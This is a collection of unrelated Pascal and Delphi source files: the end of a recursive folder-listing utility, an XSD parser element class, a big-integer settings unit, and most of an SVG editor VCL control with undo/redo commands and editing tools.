prefile.setModified(FileDateToDateTime(SearchRec.Time));
prefile.setAttributes(ToAttributes(SearchRec.Attr));
prefile.setOriginalPath(sfile);
prefile.setFormatedSize(self.mountBigSize(prefile.getSize()));
prefile.setFormatedModified(FormatDateTime('dd/mm/yyyy hh:nn:ss', prefile.getModified()));
if FileExists(sfile) then
begin
prefile.directory:=false;
end else if DirectoryExists(sfile) then
begin
prefile.directory:=true;
end;
result:=prefile;
end;
function TVisitFoldersUtil.getListFromFiles(sdir: String): TPreFileList;
var SearchRec : TSearchRec;
sfile: string;
prefile: TPreFile;
begin
sfile:=sdir+DirectorySeparator+'*.*';
if FindFirst(sfile, faAnyFile, SearchRec) = 0 then
begin
if (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
begin
sfile:=sdir+DirectorySeparator+SearchRec.Name;
prefile:=self.ToPreFile(sfile, SearchRec);
listPreFile.Add(prefile);
end;
while FindNext(SearchRec) = 0 do
begin
if (SearchRec.Name<>'.') and (SearchRec.Name<>'..') then
begin
sfile:=sdir+DirectorySeparator+SearchRec.Name;
prefile:=self.ToPreFile(sfile, SearchRec);
listPreFile.Add(prefile);
if DirectoryExists(sfile) then
begin
self.getListFromFiles(sfile);
end;
end;
end;
end;
FindClose(SearchRec);
result:=listPreFile;
end;
end.
|
namespace proholz.xsdparser;
interface
type
NamedConcreteElement = public class(ConcreteElement)
private
var name: String;
assembly
constructor(element: XsdNamedElements; aname: String);
public
method getName: String; virtual;
method getElement: XsdAbstractElement; override;
end;
implementation
constructor NamedConcreteElement(element: XsdNamedElements; aname: String);
begin
inherited constructor(element);
self.name := aname;
end;
method NamedConcreteElement.getName: String;
begin
exit name;
end;
method NamedConcreteElement.getElement: XsdAbstractElement;
begin
exit element;
end;
end. |
unit uIntXSettings;
{$I ..\Include\IntXLib.inc}
interface
uses
uEnums,
uIntXGlobalSettings;
type
/// <summary>
/// <see cref="TIntX" /> instance settings.
/// </summary>
TIntXSettings = class sealed(TObject)
private
/// <summary>
/// <see cref="TToStringMode" /> Instance.
/// </summary>
F_toStringMode: TToStringMode;
/// <summary>
/// autoNormalize Flag (Boolean value that indicates if to autoNormalize or not).
/// </summary>
F_autoNormalize: Boolean;
public
/// <summary>
/// Creates new <see cref="IntXSettings" /> instance.
/// </summary>
/// <param name="globalSettings">IntX global settings to copy.</param>
constructor Create(globalSettings: TIntXGlobalSettings);
/// <summary>
/// To string conversion mode used in this <see cref="TIntX" /> instance.
/// Set to value from <see cref="TIntX.GlobalSettings" /> by default.
/// </summary>
function GetToStringMode: TToStringMode;
/// <summary>
/// Setter procedure for <see cref="TToStringMode" />.
/// </summary>
/// <param name="value">value to use.</param>
procedure SetToStringMode(value: TToStringMode);
/// <summary>
/// If true then each operation is ended with big integer normalization.
/// Set to value from <see cref="TIntX.GlobalSettings" /> by default.
/// </summary>
function GetAutoNormalize: Boolean;
/// <summary>
/// Setter procedure for autoNormalize.
/// </summary>
/// <param name="value">value to use.</param>
procedure SetAutoNormalize(value: Boolean);
/// <summary>
/// property for <see cref="TToStringMode" />.
/// </summary>
property ToStringMode: TToStringMode read GetToStringMode
write SetToStringMode;
/// <summary>
/// property for AutoNormalize.
/// </summary>
property AutoNormalize: Boolean read GetAutoNormalize
write SetAutoNormalize;
end;
implementation
constructor TIntXSettings.Create(globalSettings: TIntXGlobalSettings);
begin
Inherited Create;
// Copy local settings from global ones
F_autoNormalize := globalSettings.AutoNormalize;
F_toStringMode := globalSettings.ToStringMode;
end;
function TIntXSettings.GetToStringMode: TToStringMode;
begin
result := F_toStringMode;
end;
procedure TIntXSettings.SetToStringMode(value: TToStringMode);
begin
F_toStringMode := value;
end;
function TIntXSettings.GetAutoNormalize: Boolean;
begin
result := F_autoNormalize;
end;
procedure TIntXSettings.SetAutoNormalize(value: Boolean);
begin
F_autoNormalize := value;
end;
end.
|
unit BVE.SVGEditorVCL;
// ------------------------------------------------------------------------------
//
// SVG Control Package 2.0
// Copyright (c) 2015 Bruno Verhue
//
// ------------------------------------------------------------------------------
// The SVG Editor need at least version v2.40 update 9 of the SVG library
interface
uses
Winapi.Windows,
Winapi.Messages,
System.Types,
System.SysUtils,
System.Classes,
System.Generics.Collections,
Vcl.Graphics,
Vcl.Controls,
Vcl.ExtCtrls,
Xml.XmlIntf,
Xml.XmlDom,
Xml.XmlDoc,
BVE.SVG2Types,
BVE.SVG2Intf,
BVE.SVG2Elements,
BVE.SVG2PathData,
BVE.SVG2PathGeometry,
BVE.SVGToolVCL;
type
TSVGEditor = class;
TSVGToolClass = class of TSVGEditorTool;
TSVGEditorCmdType = (ctGroup, ctSelectElement, ctAddElement, ctRemoveElement,
ctSetAttribute, ctSelectTool);
TSVGEditorCmd = class
private
FCmdType: TSVGEditorCmdType;
public
constructor Create(aCmdType: TSVGEditorCmdType);
property CmdType: TSVGEditorCmdType read FCmdType;
end;
TSVGEditorCmdGroup = class(TSVGEditorCmd)
private
FCmdList: TObjectList<TSVGEditorCmd>;
public
constructor Create;
destructor Destroy; override;
property CmdList: TObjectList<TSVGEditorCmd> read FCmdList;
end;
TSVGEditorCmdElementID = class(TSVGEditorCmd)
private
FID: Integer;
public
constructor Create(aCmdType: TSVGEditorCmdType; const aID: Integer);
property ID: Integer read FID;
end;
TSVGEditorCmdElementsSelect = class(TSVGEditorCmd)
private
FSelect, FUnselect: TList<Integer>;
public
constructor Create;
destructor Destroy; override;
property Select: TList<Integer> read FSelect;
property Unselect: TList<Integer> read FUnSelect;
end;
TSVGEditorCmdDOM = class(TSVGEditorCmd)
private
FDOMDocument: IDOMDocument;
FParentID: Integer;
FNodeIndex: Integer;
public
constructor Create(aCmdType: TSVGEditorCmdType; const aParentID,
aNodeIndex: Integer; const aDOMDocument: IDOMDocument);
property DOMDocument: IDOMDocument read FDOMDocument;
property ParentID: Integer read FParentID;
property NodeIndex: Integer read FNodeIndex;
end;
TSVGEditorCmdElementAdd = class(TSVGEditorCmdDOM)
public
constructor Create(const aParentID, aNodeIndex: Integer;
const aDOMDocument: IDOMDocument);
end;
TSVGEditorCmdElementRemove = class(TSVGEditorCmdDOM)
public
constructor Create(const aParentID, aNodeIndex: Integer;
const aDOMDocument: IDOMDocument);
end;
TSVGEditorCmdSetAttribute = class(TSVGEditorCmdElementID)
private
FName: TSVGUnicodeString;
FValueOld: TSVGUnicodeString;
FValueNew: TSVGUnicodeString;
public
constructor Create(const aID: Integer; const aName, aValueOld,
aValueNew: TSVGUnicodeString);
property Name: TSVGUnicodeString read FName;
property ValueOld: TSVGUnicodeString read FValueOld;
property ValueNew: TSVGUnicodeString read FValueNew write FValueNew;
end;
TSVGEditorCmdToolSelect = class(TSVGEditorCmd)
private
FToolOld: TSVGToolClass;
FToolNew: TSVGToolClass;
public
constructor Create(const aToolOld, aToolNew: TSVGToolClass);
property ToolOld: TSVGToolClass read FToolOld;
property ToolNew: TSVGToolClass read FToolNew;
end;
TSVGToolAttributeChangeEvent = procedure(Sender: TObject; const aAttrName,
aAttrValue: TSVGUnicodeString) of object;
/// <summary>Bass class for Editor tools.</summary>
TSVGEditorTool = class(TSVGTool, ISVGRefDimensions)
private
FEditor: TSVGEditor;
FRoot: ISVGRoot;
FSVGObject: ISVGObject;
FObjectID: Integer;
FCache: ISVGObjectCache;
FParentCache: ISVGObjectCache;
FBitmap: TBitmap;
FOrigBounds: TRect;
FOrigCTM: TSVGMatrix;
FMatrix: TSVGMatrix;
FRefFontSize: TSVGFloat;
FRefWidth: TSVGFloat;
FRefHeight: TSVGFloat;
FRefLeft: TSVGFLoat;
FRefTop: TSVGFloat;
FRefLength: TSVGFloat;
FCmdList: TDictionary<TSVGUnicodeString, TSVGEditorCmdSetAttribute>;
FOnAttributeChange: TSVGToolAttributeChangeEvent;
protected
function GetAlignMatrix: TSVGMatrix;
function GetViewportMatrix: TSVGMatrix;
function GetScreenBBox: TSVGRect;
function GetRefFontSize: TSVGFloat;
function GetRefWidth: TSVGFloat;
function GetRefHeight: TSVGFloat;
function GetRefLeft: TSVGFloat;
function GetRefTop: TSVGFloat;
function GetRefLength: TSVGFloat;
function SVGToTool(const aPoint: TSVGPoint): TSVGPoint;
function ToolToSVG(const aPoint: TSVGPoint): TSVGPoint;
procedure CalcDimReferences;
procedure CalcBounds;
function CalcX(aValue: TSVGDimension): TSVGFloat; overload;
function CalcY(aValue: TSVGDimension): TSVGFloat; overload;
function CalcX(const aValue: TSVGFloat; aDimType: TSVGDimensionType): TSVGDimension; overload;
function CalcY(const aValue: TSVGFloat; aDimType: TSVGDimensionType): TSVGDimension; overload;
procedure CmdListAddAttribute(const aAttrName: TSVGUnicodeString);
procedure CmdListSetAttribute(const aAttrName, aAttrValue: TSVGUnicodeString); overload;
procedure CmdListSetAttribute(const aAttrName: TSVGUnicodeString; aDimValue: TSVGDimension); overload;
procedure UpdateBitmap;
public
constructor Create(aEditor: TSVGEditor; aRoot: ISVGRoot;
aObject: ISVGObject; aParentCache: ISVGObjectCache); reintroduce; virtual;
destructor Destroy; override;
procedure SetBounds(ALeft, ATop, AWidth, AHeight: Integer); override;
procedure Apply; virtual;
procedure CalcTransform;
procedure Paint; override;
procedure KeyDown(var Key: Word; Shift: TShiftState); virtual;
property SVGObject: ISVGObject read FSVGObject;
property AlignMatrix: TSVGMatrix read GetAlignMatrix;
property ViewportMatrix: TSVGMatrix read GetViewportMatrix;
property ScreenBBox: TSVGRect read GetScreenBBox;
property OnAttributeChange: TSVGToolAttributeChangeEvent
read FOnAttributeChange write FOnAttributeChange;
end;
/// <summary>Transform tool, modifies the transform attribute of an element.</summary>
TSVGEditorToolTransform = class(TSVGEditorTool)
protected
procedure DoCreateHandles; override;
procedure UpdateTransform;
public
constructor Create(aEditor: TSVGEditor; aRoot: ISVGRoot;
aObject: ISVGObject; aParentCache: ISVGObjectCache); override;
destructor Destroy; override;
procedure SetBounds(ALeft, ATop, AWidth, AHeight: Integer); override;
end;
/// <summary>Shape tool, modifies the shape of an element.</summary>
TSVGEditorToolShape = class(TSVGEditorTool)
private
FPathDataList: ISVGPathDataList;
FPathGeometry: ISVGPathGeometry;
FFigureIndex: Integer;
FSegmentIndex: Integer;
function GetData: TSVGPathPointList;
function GetObjectBounds: TSVGRect;
procedure SetObjectBounds(aRect: TSVGRect);
protected
function GetHandlePoint(const aIndex: Integer): TPoint; override;
procedure DoCreateHandles; override;
procedure DoSetHandlePoint(const aIndex: Integer; const Value: TPoint); override;
procedure DoMovePosition(const aDx, aDy: Integer); override;
public
constructor Create(aEditor: TSVGEditor; aRoot: ISVGRoot;
aObject: ISVGObject; aParentCache: ISVGObjectCache); override;
destructor Destroy; override;
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
end;
TElementSelectEvent = procedure(Sender: TObject) of object;
TElementAddEvent = procedure(Sender: TObject; const aParent: ISVGElement;
const aIndex: Integer; const aaElement: ISVGElement) of object;
TElementRemoveEvent = procedure(Sender: TObject; const aElement: ISVGElement) of object;
TSetAttributeEvent = procedure(Sender: TObject; const aElement: ISVGElement;
const aName, aValue: TSVGUnicodeString) of object;
TToolSelectEvent = procedure(Sender: TObject; const aTool: TSVGToolClass) of object;
TRenderingSelection = (rsFull, rsBackground, rsSelection);
TSVGEditor = class(TCustomControl)
const
ns_svg_editor = 'https://www.bverhue.nl/svg_editor';
at_local_id = 'editor_id';
prefix_local_id = 'svge';
private
FRenderingSelection: TRenderingSelection;
FRoot: ISVGRoot;
FTimerUpdatePage: TTimer;
FBitmap: TBitmap;
FPageRC: ISVGRenderContext;
FMatrix: TSVGMatrix;
FInvMatrix: TSVGMatrix;
FPadding: TPadding;
FCanvasRect: TRect;
FTopLeft: TPoint;
FScale: TSVGFloat;
FContentScale: TSVGPoint;
FBitmapSelection: TBitmap;
FFilename: string;
FBackgroundColor: TSVGColor;
FSelectedElementList: TList<Integer>;
FUpdateRectList: TList<TSVGRect>;
FToolList: TList<TSVGEditorTool>;
FCurTool: TSVGToolClass;
FChildListBefore: TList<ISVGElement>;
FCmdUndoStack: TStack<TSVGEditorCmd>;
FCmdRedoStack: TStack<TSVGEditorCmd>;
FElementList: TDictionary<Integer, ISVGElement>;
FMaxID: Integer;
FOnElementAdd: TElementAddEvent;
FOnElementRemove: TElementRemoveEvent;
FOnElementSelect: TElementSelectEvent;
FOnSetAttribute: TSetAttributeEvent;
FOnToolSelect: TToolSelectEvent;
procedure WMVScroll(var msg: TWMSCROLL); message WM_VSCROLL;
procedure WMHScroll(var msg: TWMSCROLL); message WM_HSCROLL;
procedure WMGetDlgCode(var msg: TWMGetDlgCode); message WM_GETDLGCODE;
procedure HandleScrollbar(var aMsg: TWMSCROLL; aBar: Integer);
procedure ChildListBeforeCreate(aParent: IXMLNode);
function ControlSize(const aScrollbarKind: ShortInt;
const aControlSB, aAssumeSB: Boolean): Integer;
procedure ToolsCreate;
procedure ToolsClear;
procedure ElementListInit(aNode: IXMLNode; var aID: Integer);
procedure CmdUndoStackClear;
procedure CmdRedoStackClear;
function PointToSVG(const aPoint: TPoint): TSVGPoint;
protected
function GetCmdRedoCount: Integer;
function GetCmdUndoCount: Integer;
function GetElement(const aID: Integer): ISVGElement;
function GetSelectedElement(const aIndex: Integer): Integer;
function GetSelectedElementCount: Integer;
procedure SetCanvasRect(const Value: TRect);
procedure SetFilename(const Value: string);
procedure SetPadding(const Value: TPadding);
procedure SetScale(const Value: TSVGFloat);
procedure SetSelectedElementList(const Value: TList<Integer>);
procedure SetTopLeft(const Value: TPoint);
procedure RenderSVGObject(aSVGObject: ISVGObject;
aParentCache: ISVGObjectCache; const aStage: TSVGRenderStage;
var IsRendered: Boolean);
procedure CreateParams(var params: TCreateParams); override;
procedure DoElementAdd(const aParent: ISVGElement; const aIndex: Integer;
const aElement: ISVGElement); virtual;
procedure DoElementRemove(const aElement: ISVGElement); virtual;
procedure DoElementSelect(const aElement: ISVGElement); virtual;
procedure DoSetAttribute(const aElement: ISVGElement; const aName,
aValue: TSVGUnicodeString); virtual;
procedure DoToolSelect(const aTool: TSVGToolClass);
procedure CmdExecInternal(aCmd: TSVGEditorCmd; const aUndo: Boolean);
procedure CmdExec(aCmd: TSVGEditorCmd; const aUndo: Boolean);
procedure CmdExecElementSelect(aCmd: TSVGEditorCmdElementsSelect; const aUndo: Boolean);
procedure CmdExecElementAdd(aCmd: TSVGEditorCmdDOM);
procedure CmdExecElementRemove(aCmd: TSVGEditorCmdDOM);
procedure CmdExecSetAttribute(aCmd: TSVGEditorCmdSetAttribute; const aUndo: Boolean);
procedure CmdExecToolSelect(aCmd: TSVGEditorCmdToolSelect; const aUndo: Boolean);
function CmdElementAddCreate(const aParent: ISVGELement;
const aNodeIndex: Integer; const aFragment: string): TSVGEditorCmdElementAdd;
function CmdElementRemoveCreate(
const aElement: ISVGElement): TSVGEditorCmdElementRemove;
function CmdSetAttributeCreate(const aElement: ISVGElement; const aName,
aValue: TSVGUnicodeString): TSVGEditorCmdSetAttribute;
function CmdToolSelectCreate(const aTool: TSVGToolClass): TSVGEditorCmdToolSelect;
procedure DoPaddingChange(Sender: TObject);
procedure DoUpdatePage(Sender: TObject);
procedure MouseDown(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure MouseMove(Shift: TShiftState; X, Y: Integer); override;
procedure MouseUp(Button: TMouseButton; Shift: TShiftState; X, Y: Integer); override;
procedure KeyDown(var Key: Word; Shift: TShiftState); override;
function ToolCreate(aSVGObject: ISVGObject): TSVGEditorTool;
procedure ToolDestroy(var aTool: TSVGEditorTool);
procedure ToolAttributeChangeEvent(Sender: TObject; const aAttrName,
aAttrValue: TSVGUnicodeString);
procedure CalcCanvasRect;
procedure UpdateScrollbars;
procedure Init;
procedure Clear;
procedure Paint; override;
property SelectedElementList: TList<Integer> read FSelectedElementList write SetSelectedElementList;
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function GetElementID(aElement: ISVGElement): Integer; overload;
function GetElementID(aElement: IDOMElement): Integer; overload;
procedure Resize; override;
procedure ElementsCopy;
procedure ElementsCut;
procedure ElementsPaste;
procedure ElementsDelete;
procedure ElementAdd(const aFragment: string);
procedure ElementsAdd(const aFragments: TStringList);
procedure ElementsUnselectAll;
procedure ElementsSelect(aList: TList<Integer>);
function ElementIsSelected(const aID: Integer): Boolean;
procedure CmdUndo;
procedure CmdRedo;
procedure ToolSelect(const aTool: TSVGToolClass);
procedure LoadFromFile(const aFilename: string);
procedure LoadFromStream(aStream: TStream);
procedure SaveToFile(const aFilename: string);
procedure UpdatePage(const aRenderMode: TSVGRenderMode);
procedure SetAttribute(const aName, aValue: TSVGUnicodeString);
property CanvasRect: TRect read FCanvasRect write SetCanvasRect;
property CmdUndoCount: Integer read GetCmdUndoCount;
property CmdRedoCount: Integer read GetCmdRedoCount;
property ContentScale: TSVGPoint read FContentScale;
property CurTool: TSVGToolClass read FCurTool;
property Element[const aID: Integer]: ISVGElement read GetElement;
property Filename: string read FFilename write SetFilename;
property Matrix: TSVGMatrix read FMatrix;
property Padding: TPadding read FPadding write SetPadding;
property Root: ISVGRoot read FRoot;
property Scale: TSVGFloat read FScale write SetScale;
property SelectedElementCount: Integer read GetSelectedElementCount;
property SelectedElement[const aIndex: Integer]: Integer read GetSelectedElement;
property TopLeft: TPoint read FTopLeft write SetTopLeft;
property OnElementAdd: TElementAddEvent read FOnElementAdd write FOnElementAdd;
property OnElementRemove: TElementRemoveEvent read FOnElementRemove write FOnElementRemove;
property OnElementSelect: TElementSelectEvent read FOnElementSelect write FOnElementSelect;
property OnSetAttribute: TSetAttributeEvent read FOnSetAttribute write FOnSetAttribute;
property OnToolSelect: TToolSelectEvent read FOnToolSelect write FOnToolSelect;
end;
implementation
uses
System.Math,
Vcl.Clipbrd,
BVE.SVG2Dom,
BVE.SVG2Context,
BVE.SVG2GeomUtility,
BVE.SVG2ParseUtility,
BVE.SVG2SaxParser,
BVE.SVG2Elements.VCL;
const
svg_handle_transform_style = 'fill: blue; stroke: none; stroke-width: 16;';
svg_handle_transform_0 =
'<?xml version="1.0" standalone="no"?>'
+ '<svg viewBox="0 0 100 100" xmlns="' + ns_uri_svg + '" version="1.1">'
+ '<path d="M0,0 L100,0 L0,100 Z" style="' + svg_handle_transform_style + '" />'
+ '</svg>';
svg_handle_transform_1 =
'<?xml version="1.0" standalone="no"?>'
+ '<svg viewBox="0 0 100 100" xmlns="' + ns_uri_svg + '" version="1.1">'
+ '<path d="M100,0 L100,100 L0,0 Z" style="' + svg_handle_transform_style + '" />'
+ '</svg>';
svg_handle_transform_2 =
'<?xml version="1.0" standalone="no"?>'
+ '<svg viewBox="0 0 100 100" xmlns="' + ns_uri_svg + '" version="1.1">'
+ '<path d="M100,100 L0,100 L100,0 Z" style="' + svg_handle_transform_style + '" />'
+ '</svg>';
svg_handle_transform_3 =
'<?xml version="1.0" standalone="no"?>'
+ '<svg viewBox="0 0 100 100" xmlns="' + ns_uri_svg + '" version="1.1">'
+ '<path d="M0,100 L0,0 L100,100 Z" style="' + svg_handle_transform_style + '" />'
+ '</svg>';
svg_handle_shape_1_style = 'fill: blue; stroke: none; stroke-width: 16;';
svg_handle_shape_1 =
'<?xml version="1.0" standalone="no"?>'
+ '<svg viewBox="0 0 100 100" xmlns="' + ns_uri_svg + '" version="1.1">'
+ '<rect x="0" y="0" width="100" height="100" style="' + svg_handle_shape_1_style + '" />'
+ '</svg>';
svg_handle_shape_2_style = 'fill: red; stroke: none; stroke-width: 16;';
svg_handle_shape_2 =
'<?xml version="1.0" standalone="no"?>'
+ '<svg viewBox="0 0 100 100" xmlns="' + ns_uri_svg + '" version="1.1">'
+ '<circle cx="50" cy="50" r="50" style="' + svg_handle_shape_2_style + '" />'
+ '</svg>';
// -----------------------------------------------------------------------------
//
// TSVGEditorTool
//
// -----------------------------------------------------------------------------
procedure TSVGEditorTool.Apply;
var
CmdGroup: TSVGEditorCmdGroup;
Pair: TPair<TSVGUnicodeString, TSVGEditorCmdSetAttribute>;
begin
if FCmdList.Count = 0 then
Exit;
CmdGroup := TSVGEditorCmdGroup.Create;
try
for Pair in FCmdList do
CmdGroup.CmdList.Add(Pair.Value);
FCmdList.Clear;
FEditor.CmdExec(CmdGroup, False);
FEditor.FCmdUndoStack.Push(CmdGroup);
except on E:Exception do
CmdGroup.Free;
end;
end;
procedure TSVGEditorTool.CalcBounds;
var
R: TSVGRect;
RR: TRect;
begin
R := ScreenBBox;
R := TransformRect(R, FEditor.Matrix);
RR := R.Round;
AbsoluteContentRect :=
Rect(
RR.Left - FEditor.TopLeft.X,
RR.Top - FEditor.TopLeft.Y,
RR.Right - FEditor.TopLeft.X,
RR.Bottom - FEditor.TopLeft.Y);
end;
procedure TSVGEditorTool.CalcDimReferences;
var
SaveMatrix: TSVGMatrix;
SaveStyle: TSVGStyleAttributeRec;
SaveViewport: TSVGRect;
Ref: ISVGRefDimensions;
begin
FRefFontSize := 0.0;
FRefWidth := 0.0;
FRefHeight := 0.0;
FRefLeft := 0.0;
FRefTop := 0.0;
FRefLength := 0.0;
if assigned(FCache) then
begin
SaveMatrix := FRoot.CTMSave;
SaveStyle := FRoot.CSASave;
SaveViewport := FRoot.CVP;
try
FRoot.CTMRestore(FCache.CTM);
FRoot.CSARestore(FCache.CSA);
FRoot.CVPSet(FCache.CVP);
Ref := FRoot as ISVGRefDimensions;
FRefFontSize := Ref.RefFontSize;
FRefWidth := Ref.RefWidth;
FRefHeight := Ref.RefHeight;
FRefLeft := Ref.RefLeft;
FRefTop := Ref.RefTop;
FRefLength := Ref.RefLength;
finally
FRoot.CVPSet(SaveViewport);
FRoot.CSARestore(SaveStyle);
FRoot.CTMRestore(SaveMatrix);
end;
end;
end;
procedure TSVGEditorTool.CalcTransform;
var
CTM: TSVGMatrix;
R1, R2: TSVGRect;
Sx, Sy: TSVGFloat;
begin
if not assigned(FSVGObject) then
Exit;
CTM := FOrigCTM;
R1 := TSVGRect.Create(FOrigBounds);
R2 := TSVGRect.Create(AbsoluteContentRect);
R2.Offset(
-FEditor.Padding.Left + FEditor.TopLeft.X,
-FEditor.Padding.Top + FEditor.TopLeft.Y);
R1 := TSVGRect.Scale(R1, 1/FEditor.ContentScale.X);
R2 := TSVGRect.Scale(R2, 1/FEditor.ContentScale.Y);
if R1 <> R2 then
begin
R1 := TransformRect(R1, CTM.Inverse);
R2 := TransformRect(R2, CTM.Inverse);
if R1.Width <> 0 then
Sx := R2.Width / R1.Width
else
Sx := 1.0;
if R1.Height <> 0 then
Sy := R2.Height / R1.Height
else
Sy := 1.0;
// https://stackoverflow.com/questions/14015456/create-transform-to-map-from-one-rectangle-to-another
FMatrix := TSVGMatrix.CreateTranslation(R2.Left, R2.Top);
FMatrix := TSVGMatrix.Multiply(
TSVGMatrix.CreateScaling(Sx, Sy),
FMatrix
);
FMatrix := TSVGMatrix.Multiply(
TSVGMatrix.CreateTranslation(-R1.Left, -R1.Top),
FMatrix
);
end;
end;
function TSVGEditorTool.CalcX(aValue: TSVGDimension): TSVGFloat;
begin
Result := aValue.CalcAsX(Self);
end;
function TSVGEditorTool.CalcX(const aValue: TSVGFloat;
aDimType: TSVGDimensionType): TSVGDimension;
begin
Result := TSVGDimension.CalcAsX(aValue, aDimType, Self);
end;
function TSVGEditorTool.CalcY(aValue: TSVGDimension): TSVGFloat;
begin
Result := aValue.CalcAsY(Self);
end;
function TSVGEditorTool.CalcY(const aValue: TSVGFloat;
aDimType: TSVGDimensionType): TSVGDimension;
begin
Result := TSVGDimension.CalcAsY(aValue, aDimType, Self);
end;
procedure TSVGEditorTool.CmdListAddAttribute(
const aAttrName: TSVGUnicodeString);
var
Cmd: TSVGEditorCmdSetAttribute;
begin
Cmd := TSVGEditorCmdSetAttribute.Create(
FObjectID,
aAttrName,
FSVGObject.Attributes[aAttrName],
FSVGObject.Attributes[aAttrName]);
FCmdList.Add(aAttrName, Cmd);
end;
procedure TSVGEditorTool.CmdListSetAttribute(const aAttrName: TSVGUnicodeString;
aDimValue: TSVGDimension);
begin
CmdListSetAttribute(aAttrName, aDimValue.AsString);
end;
procedure TSVGEditorTool.CmdListSetAttribute(const aAttrName,
aAttrValue: TSVGUnicodeString);
var
Cmd: TSVGEditorCmdSetAttribute;
begin
if FCmdList.TryGetValue(aAttrName, Cmd) then
begin
Cmd.ValueNew := aAttrValue;
FSVGObject.Attributes[aAttrName] := aAttrValue;
if assigned(FOnAttributeChange) then
FOnAttributeChange(Self, aAttrName, aAttrValue);
end;
end;
constructor TSVGEditorTool.Create(aEditor: TSVGEditor;
aRoot: ISVGRoot; aObject: ISVGObject; aParentCache: ISVGObjectCache);
var
i: Integer;
begin
FCmdList := TDictionary<TSVGUnicodeString, TSVGEditorCmdSetAttribute>.Create;
FEditor := aEditor;
FMatrix := TSVGMatrix.CreateIdentity;
FRoot := aRoot;
FSVGObject := aObject;
FParentCache := aParentCache;
FOrigCTM := TSVGMatrix.CreateIdentity;
FObjectID := FEditor.GetElementID(FSVGObject);
if FSVGObject.CacheList.Count > 0 then
begin
i := 0;
while (i < FSVGObject.CacheList.Count)
and (FSVGObject.CacheList[i].ParentCache as IInterface <> FParentCache as IInterface) do
Inc(i);
if i < FSVGObject.CacheList.Count then
FCache := FSVGObject.CacheList[i]
else
FCache := FSVGObject.CacheList[0];
FOrigCTM := FCache.CTM;
end else
FCache := nil;
CalcDimReferences;
inherited Create(aEditor);
CalcBounds;
if (AbsoluteContentRect.Right < AbsoluteContentRect.Left)
or (AbsoluteContentRect.Bottom < AbsoluteContentRect.Top) then
FOrigBounds := AbsoluteContentRect
else
FOrigBounds := Rect(
AbsoluteContentRect.Left + FEditor.TopLeft.X - FEditor.Padding.Left,
AbsoluteContentRect.Top + FEditor.TopLeft.Y - FEditor.Padding.Top,
AbsoluteContentRect.Right + FEditor.TopLeft.X - FEditor.Padding.Left,
AbsoluteContentRect.Bottom + FEditor.TopLeft.Y - FEditor.Padding.Top);
UpdateBitmap;
end;
destructor TSVGEditorTool.Destroy;
var
Pair: TPair<TSVGUnicodeString, TSVGEditorCmdSetAttribute>;
begin
if assigned(FBitmap) then
FBitmap.Free;
for Pair in FCmdList do
Pair.Value.Free;
FCmdList.Free;
inherited;
end;
function TSVGEditorTool.GetAlignMatrix: TSVGMatrix;
begin
// Alignment of the SVG in the tool client rectangle
Result := TSVGMatrix.Multiply(
FEditor.Matrix,
TSVGMatrix.CreateTranslation(
-AbsoluteContentRect.Left - FEditor.TopLeft.X,
-AbsoluteContentRect.Top - FEditor.TopLeft.Y));
end;
function TSVGEditorTool.GetRefFontSize: TSVGFloat;
begin
Result := FRefFontSize;
end;
function TSVGEditorTool.GetRefHeight: TSVGFloat;
begin
Result := FRefHeight;
end;
function TSVGEditorTool.GetRefLeft: TSVGFloat;
begin
Result := FRefLeft;
end;
function TSVGEditorTool.GetRefLength: TSVGFloat;
begin
Result := FRefLength;
end;
function TSVGEditorTool.GetRefTop: TSVGFloat;
begin
Result := FRefTop;
end;
function TSVGEditorTool.GetRefWidth: TSVGFloat;
begin
Result := FRefWidth;
end;
function TSVGEditorTool.GetScreenBBox: TSVGRect;
begin
Result := TSVGRect.CreateUndefined;
if assigned(FCache) then
Result := FCache.ScreenBBox;
if Result.IsUndefined then
Result := SVGRect(0.0, 0.0, 0.0, 0.0);
end;
function TSVGEditorTool.GetViewportMatrix: TSVGMatrix;
var
T: TSVGMatrix;
begin
if assigned(FCache) then
T := FCache.CTM
else
T := TSVGMatrix.CreateIdentity;
Result := T;
Result := TSVGMatrix.Multiply(Result, AlignMatrix);
Result := TSVGMatrix.Multiply(Result, TSVGMatrix.CreateTranslation(Margin, Margin));
end;
procedure TSVGEditorTool.KeyDown(var Key: Word; Shift: TShiftState);
begin
//
end;
procedure TSVGEditorTool.Paint;
begin
inherited;
Canvas.Draw(ContentRect.Left, ContentRect.Top, FBitmap);
end;
procedure TSVGEditorTool.SetBounds(ALeft, ATop, AWidth, AHeight: Integer);
begin
inherited;
end;
function TSVGEditorTool.SVGToTool(const aPoint: TSVGPoint): TSVGPoint;
var
M: TSVGMatrix;
begin
M := ViewportMatrix;
Result := TransformPoint(aPoint, M);
end;
function TSVGEditorTool.ToolToSVG(const aPoint: TSVGPoint): TSVGPoint;
var
M: TSVGMatrix;
begin
M := ViewportMatrix;
Result := TransformPoint(aPoint, M.Inverse);
end;
procedure TSVGEditorTool.UpdateBitmap;
var
RC: ISVGRenderContext;
SaveMatrix: TSVGMatrix;
SaveStyle: TSVGStyleAttributeRec;
SaveViewport: TSVGRect;
W, H: Integer;
begin
W := ContentRect.Width;
H := ContentRect.Height;
if (ContentRect.Right <= ContentRect.Left)
or (ContentRect.Bottom <= ContentRect.Top)
then
Exit;
if assigned(FBitmap) then
begin
if (FBitmap.Width <> W) or (FBitmap.Height <> H) then
FBitmap.SetSize(W, H);
end else begin
FBitmap := TSVGRenderContextManager.CreateCompatibleBitmap(W, H);
end;
RC := TSVGRenderContextManager.CreateRenderContextBitmap(FBitmap);
FRoot.RenderMode := [];
FRoot.UpdateRectList.Clear;
FEditor.FRenderingSelection := rsSelection;
SaveMatrix := FRoot.CTMSave;
SaveStyle := FRoot.CSASave;
SaveViewport := FRoot.CVP;
try
if assigned(FParentCache) then
begin
FRoot.CTMRestore(FParentCache.CTM);
FRoot.CSARestore(FParentCache.CSA);
FRoot.CVPSet(FParentCache.CVP);
end;
FRoot.PushBuffer(TSVGRenderBuffer.Create(RC));
try
RC.BeginScene;
try
RC.Clear(SVGColorNone);
RC.Matrix := AlignMatrix;
FSVGObject.PaintIndirect(FRoot, False, FParentCache);
finally
RC.EndScene;
end;
finally
FRoot.PopBuffer;
end;
finally
FRoot.CVPSet(SaveViewport);
FRoot.CSARestore(SaveStyle);
FRoot.CTMRestore(SaveMatrix);
end;
end;
